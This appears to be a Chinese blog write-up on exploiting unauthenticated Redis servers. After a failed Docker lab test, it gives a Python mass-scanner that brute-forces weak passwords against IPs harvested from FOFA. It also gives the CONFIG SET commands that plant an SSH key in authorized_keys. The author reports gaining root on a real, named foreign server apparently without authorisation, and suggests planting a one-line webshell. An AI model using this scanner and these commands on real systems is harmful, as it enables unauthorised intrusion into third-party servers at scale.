關於Redis
Redis(Remote Dictionary Server ),即遠程字典服務,是一個開源的使用ANSI
漏洞概述:
Redis默認情況下,會綁定在0.0.0.0:6379,這樣會將redis服務暴露在公網上,如果在沒有開啟認證的情況下,可以導致任意用戶在可以訪問目標服務器的情況下未授權訪問redis以及讀取redis的數據,攻擊者在未授權訪問redis的情況下可以利用redis的相關方法,進而成功在redis服務器上寫入公鑰,進而可以使用對應私鑰直接登錄目標服務器
而為什么redis的作者不將默認情況下的未授權訪問導致的不安全性問題修改掉,因為作者認為99.99%使用redis的場景都是在沙盒化的環境中,為了0.01%的可能性增加安全規則的同時也增加了復雜性,雖然這個問題並不是不能解決的,但是這在他的設計哲學中仍然是不划算的。
搭建docker漏洞環境
在docekrhub上搜索redis鏡像
docker search redis
拉取鏡像到本地
docker pull redis
查看下載好的鏡像
運行之,並將容器的6379端口映射到主機的6379端口
docker run -p 6379:6379 -d redis
-p
將容器的6379端口映射到主機的6379端口。
-d
將容器后台運行。
因為攻擊機是Windows,下載redis,並使用redis-cli.exe進行連接
.\redis-cli.exe -h 49.235.230.115
連接成功
漏洞利用:
先進行信息搜集
info
查看數據庫中的鍵值對
keys *
以及可以使用(慎用)該命令清空數據庫
flushall
或者
del key 刪除鍵為key的數據
接着嘗試寫ssh-keygen公鑰然后本地使用私鑰登錄服務器
設置redis的備份路徑為/root/.ssh和保存文件名authorized_keys
CONFIG SET dir /root/.ssh
出現錯誤
(error) ERR Changing directory: Permission denied
在網上查了資料之后,說出現該錯誤是因為redis沒有使用root權限啟動,但是當沒有指定用戶啟動docker時,默認的用戶就是root,同時進入該docker實例的bash,也可以看到當前用戶是root,轉了一圈也沒找到解決的辦法,有的博客說是redis版本的問題,替換redis3.0,redis5.0均無效,故直接勸退,放棄攻擊該docker環境
等啥時候想明白這個問題了再更,也歡迎師傅們一起交流
使用FOFA尋找國外的暴露redis現實環境,給出FOFA語法
查找使用指定協議的IP
查找使用mysql的ip
protocol=mysql
查找使用redis的ip
protocol=redis
查找使用mssql的ip
protocol=mssql
查找使用oracle的ip
protocol=oracle
切換目標地區為愛爾蘭
使用FOFA爬取腳本將所有目標都爬取下來並保存在txt中,爬取腳本是以前自己寫的:
https://github.com/Cl0udG0d/Fofa-script
擔心拉取速度過快被ban,所以采用了延時,師傅們如果覺得速度太慢了可以將代碼里面的延時改低
先測試了一下,發現fofa的規則改了,重新改一下爬蟲,更新github,然后開始愉快爬取。
爬取結束之后進行批量驗證,這里的代碼魔改自bypass老哥:https://www.cnblogs.com/xiaozi/p/7568272.html
源代碼為:
#! /usr/bin/env python # _*_ coding:utf-8 _*_ import socket import sys PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin'] def check(ip, port, timeout): try: socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("INFO\r\n") result = s.recv(1024) if "redis_version" in result: return u"未授權訪問" elif "Authentication" in result: for pass_ in PASSWORD_DIC: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("AUTH %s\r\n" %(pass_)) result = s.recv(1024) if '+OK' in result: return u"存在弱口令,密碼:%s" % (pass_) except Exception, e: pass if __name__ == '__main__': ip=sys.argv[1] port=sys.argv[2] print check(ip,port, timeout=10)
但是原腳本只能一個個測試,簡單加強之:
#! /usr/bin/env python # _*_ coding:utf-8 _*_ import socket import sys PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin'] def check(ip, port, timeout): try: socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("INFO\r\n") result = s.recv(1024) if "redis_version" in result: print u"%s:%s未授權訪問"%(ip,port) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("config set dir /root/.ssh/\r\n") content = s.recv(1024) print(content) if "OK" in content: print u"%s:%s .ssh目錄存在且權限足夠"%(ip,port) elif "error" in content: print u"%s:%s 無法寫入"%(ip,port) elif "Authentication" in result: for pass_ in PASSWORD_DIC: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("AUTH %s\r\n" %(pass_)) result = s.recv(1024) if '+OK' in result: print u"%s:%s存在弱口令,密碼:%s" % (ip,port,pass_) except Exception, e: print e pass if __name__ == '__main__': doc = open("hello_world.txt", "r") lines = doc.readlines() for ip in lines: #print(type(ip)) print(ip.strip()) check(ip.strip(),6379,timeout=10) #print(type(ip)) doc.close()
運行之
因為是國外的IP,就不進行打碼了。
redis鏈接
嘗試寫ssh-keygen公鑰登錄服務器,本地生成公私鑰后
config set dir /root/.ssh/ config set dbfilename authorized_keys set x "\n\n\n公鑰內容\n\n\n" save
可以看到這兩個服務器有兩個不同的報錯,分別是:
(error) ERR Changing directory: Permission denied
以及
(error) ERR Changing directory: No such file or directory
第一個報錯是我們之前docker搭建的時候遇到的,也就是未使用root權限啟動redis,第二個報錯是因為目標/root/.ssh目錄不存在,不存在的原因是目標未使用過ssh密鑰登錄過服務器,只好對其他IP進行嘗試
另外還可能出現的一個錯誤是:
(error) ERR unknown command ‘config’
當出現這個錯誤,代表redis服務端有做禁止config命令的配置
簡單測試后找到一個存在漏洞的IP:
3.17.131.13
使用之前的命令:
config set dir /root/.ssh/ config set dbfilename authorized_keys set x "\n\n\n公鑰內容\n\n\n" save
在之前生成本地公私鑰的目錄下執行:
ssh -i id_rsa root@3.17.131.13
服務器登錄成功
另外在查資料的過程中,發現部分服務器報錯
-ERR Changing directory: No such file or directory
的原因有可能不是linux服務器未使用密鑰登錄,而可能是目標為Windows服務器,肯定就沒有 /root/.ssh
目錄了,可以使用
config get dir
或者
info
等命令搜集目標信息,確認其操作系統進行進一步滲透
另外對於
(error) ERR Changing directory: Permission denied
錯誤,可以嘗試在其WEB服務目錄寫入一句話木馬從而getshell